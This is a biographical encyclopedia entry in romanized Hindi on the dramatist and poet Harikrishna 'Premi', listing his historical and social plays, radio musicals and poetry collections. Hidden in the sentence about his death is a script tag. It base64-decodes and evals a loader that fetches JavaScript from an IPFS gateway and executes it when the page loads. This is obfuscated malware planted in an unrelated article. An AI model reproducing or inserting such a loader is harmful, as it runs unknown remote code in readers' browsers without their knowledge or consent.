हरिकृष्ण 'प्रेमी'

harikrishna 'premi'
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poora nam	harikrishna 'premi'
janm	1908 ee.
janm bhoomi	guna, gvaliyar, madhy pradesh
mrityu	1974 ee.
karm-kshetr	sahity, kavy
mukhy rachanaean	'svarn vihan', 'raksha-bandhan', 'pratishodh', 'badaloan ke par'
prasiddhi	sahityakar
nagarikata	bharatiy
any janakari	'premi' ji ki sarvapratham prakashit rachana 'svarn vihan' (1930 ee.) gati-naty hai. usamean prem aur rashtriyata ki bhavanaoan ki b di rasatmak abhivyakti hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi

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harikrishna 'premi' (janm-1908 ee., guna, gvaliyar, madhy pradesh; mrityu-1974 ee.) ka hiandi natakakaroan mean vishisht sthan hai. madhyakalin itihas se katha prasango ko lekar unhoanne hamean rashtriy jagaran, dharm nirapekshata tatha vishv-bandhutv ke mahanh sandesh diye haian. unake natakoan mean svachchhandavadi shaili ka b da sanyamit aur anushasanapoorn upayog hai, isalie unake natak rangamach ki drishti se saphal haian.

parichay

harikrishna 'premi' ka janm 1908 ee. ko guna, gvaliyar, madhy pradesh mean hua tha. inaka parivar rashtrabhakt tha tatha inamean bachapan se hi rashtriyata ke sanskar the. do varsh ki avastha mean mata ki mrityu ho gayi thi. prem ki atript trishna ne unhean svayan 'premi' bana diya. bandhu-baandhavoan ke prati snehalu, mitroan ke prati anurakt, svadeshanurag, manushy matr ke prati sauhaed-yahi unake aantar man ka vikas hai.

sahityik jivan ki shuruat

pan. makhanalal chaturvedi ke sath 'tyagabhoomi' mean patrakar ke roop mean sahityik jivan ka prarambh kiya. phir kavitaean likhane lage aur usake bad natak rachana ki or pravritti huee. lahaur mean patrakar aur prakashak rahe. san 1933-1934 ee. mean sahityik kary kiya. svadhinata andolan mean bhi bhag lete rahe. lahaur se 'bharati' patrika ka prakashan kiya. san 1946 mean lahaur mean aur usake bad bambee (vartaman mumbee) mean philm-kshetr mean kary kiya. harikrishna ne usake bad akashavani jalandhar mean hiandi digdarshak rahe. bad mean bambee mean philm-kshetr mean kary karate rahe.

rachanaean

'premi' ji ki sarvapratham prakashit rachana 'svarn vihan' (1930 ee.) gati-naty hai. usamean prem aur rashtriyata ki bhavanaoan ki b di rasatmak abhivyakti hai. pahale aitihasik natak 'raksha-bandhan' (1938 ee.) mean gujarat ke bahadur shah ke akraman ke avasar par chittau d ki raksha ke lie rani karmavati dvara mugal samrat humayooan ko rakhi bhejane ka prasang hai. is rachana ka mool uddeshy hiandoo muslim samanjasy ki bhavana jagana hai. 'shiva sadhana' (1937 ee.) mean shivaji ki aurangajeb ki sampradayik evan tanashahi niti ke virodhi tatha dharm nirapekshata aur rashtriy bhavana ke sansthapak ke roop mean chitrit kiya gaya hai. 'pratishodh' (1937 ee.) mean chhatrapal dvara buandelakhand ki shaktiyoan ko ekatr karake aurangajeb se takkar lene ka prasang hai. 'ahuti' (1940 ee.) mean ranathambhaur ke hammir dev dvara sharanagat raksha ke lie alauddin khilaji se sangharsh aur atm balidan ki katha hai. 'svapnabhang' (1940 ee.) mean dara ki parajay se dharm nirapekshata ke adarsh ke khandit hone ka dukh:d drishy hai. 'mitr' (1945 ee.), 'navin sanjna', 'shataranj ke khila di' mean yuddh-kshetr mean paraspar ek doosare ka virodh karate hue bhi do vyaktiyoan ke mitrata nirvah ka akhyan hai. 'vishapan' (1945 ee.) mean meva d ki rajakumari ka svadesh-raksha ke lie atmaghat ka prasang hai. 'uddhar', 'bhagn prachir', 'prakashastambh', 'kirtistambh', 'vida' aur sauanpoan ki srishti mean bhi madhyakalin katha-prasang hi liye gaye haian. 'shapath' aur 'savant pravartan' adimayugin itihas par adharit hai. 'sanrakshak' ka katha-prasang aangrezi rajy ke prarambhik kal se usaki 'yen ken prakaren' samrajy vistar ki niti ko spasht karane ke lie liya gaya hai. 'patal vijay' (1936 ee.) 'premi' ji ka ekamatr pauranik natak hai.

natay rachanaean

'premi' ji ne samajik natak bhi likhe haian. 'bandhan' (1940 ee.) mean majadooroan aur pooanjipati ke sangharsh ka chitran hai. samasya ka hal gaandhi ji ki hriday-parivartan ki niti par adharit hai. 'chhaya' (1941 ee.) mean ek sahityakar ke arthik sangharsh ka chitran hai. 'mamata' mean dampaty jivan ki samasyaoan ka udghatan hai. 'premi' ji ki ekaanki rachana 'be diyaan' mean bhi isi samasya ko liya gaya hai. 'premi' ji ke do ekaanki sangrah 'mandir' (1942 ee.) aur 'badaloan ke par' (1942 ee.) bhi prakashit hue hai. pahale sangrah ki sabhi rachanaean 'nayi sanjna' dekar naye sangrah mean bhi hai. 'badaloan ke par', 'ghar ya hotal', 'vani mandir', 'naya samaj', 'yah meri janm bhoomi hai', aur 'pashchattap' ekaankiyoan mean aj ki samajik samasyaoan ka chitran hai. 'yah bhi ek khel hai', 'prem aandha hai', 'roop shikha', 'matribhoomi ka man' aur 'nishthut nyay', aitihasik ekaanki haian. inamean prem ke ardashavadi aur vidrohi svaroop ko prastut kiya gaya hai.

'premi' ji ne idhar giti-naty ki shaili ke kee prayog kiye haian. 'sohani mahival', 'sassi punnoo', 'mirja sahiba', 'hir raanjha' aur 'dullabhatti'. ye sabhi panjab mean prasiddh prem-gathaoan par adharit rediyoan ke lie likhit sangit roopak haian. prem ke ekanishth aur vidrohi roopako inamean bhi upasthit kiya gaya hai. devadasi' sangit-roopak mean bhi kalpanik katha ko lekar prem ko manushy ka svabhavik gunadharm dikhaya gaya hai. 'miraanbaee' mean vyaktigat jivan ki kathorataoan se prerit hokar giridhar gopal ki madhuri upasana mean ashray lene vali miraan ki jivan-katha hai.

harikrishna ji ka hiandi natakakaroan mean apana vishisht sthan hai. madhyakalin itihas se katha prasango ko lekar unhoanne hamean rashtriy jagaran, dharm nirapekshata tatha vishv-bandhutv ke mahanh sandesh diye haian. unake natakoan mean svachchhandavadi shaili ka b da sanyamit aur anushasanapoorn upayog hai, isalie unake natak rangamach ki drishti se saphal haian. unake samajik natakoan mean vartaman jivan ki vishamantaoan ke prati tivr akrosh aur vidroh ka svar sunane ko milata hai. kisi samasya ka chitran karate hue ve usaka hal avashy dete haian aur is sambandh mean gaandhi ji ke jivan-darshan ka un par vishesh prabhav hai.

kavita-sangrah

• 'premi' ji ka kavita-sangrah 'aankhoan mean' (1930 ee.) prem ke virah-vidagdh vedanamay svaroop svaroop ki abhivyakti hai.
• 'jadoogarani' (1932 ee.) mean kabir ki 'maya mahathagini' ke mohak prabhav ka varnan evan rahasyatmak anubhootiyoan ki vyanjana hai.
• 'anant ke path par' (1932 ee.) rahasyanubhoomi ko auraghanibhoot roop mean upasthit karata hai.
• 'agnigan' (1940 ee.) mean kavi anal vina lekar rashtriy jagaran ke git ya utha hai.
• 'roop darshan' mean gajal aur giti-shaili ke sammilit vidhan mean sauandary ke mohak prabhav ko vani mili hai.
• 'pratibha' mean premi ka pranay-nivedan b da mukhar ho utha hai.
• 'vandana ke bol' mean gaandhi ji aur unake jivan darshan par likhit rachanaean haian.
• 'roop rekha' mean gajal ke band ka sashakt prayog aur 'premi' ke hriday ki akul pukar hai 'premi' ji ne mukt chhand mean bhi kuchh rachanaean ki haian.
• 'karana hai sangram', 'beti ki vida' aur 'bahan ka vivah'- ye sabhi sansmaranatmak haian aur inamean 'premi ji' ke vidrohi drishtikon, navin manyataoan aur nootan adarshoan ki b di prabhavapoorn abhivyakti hai.

mrityu

harikrishna 'premi' ji ki mrityu 1974 ee. mean huee thi. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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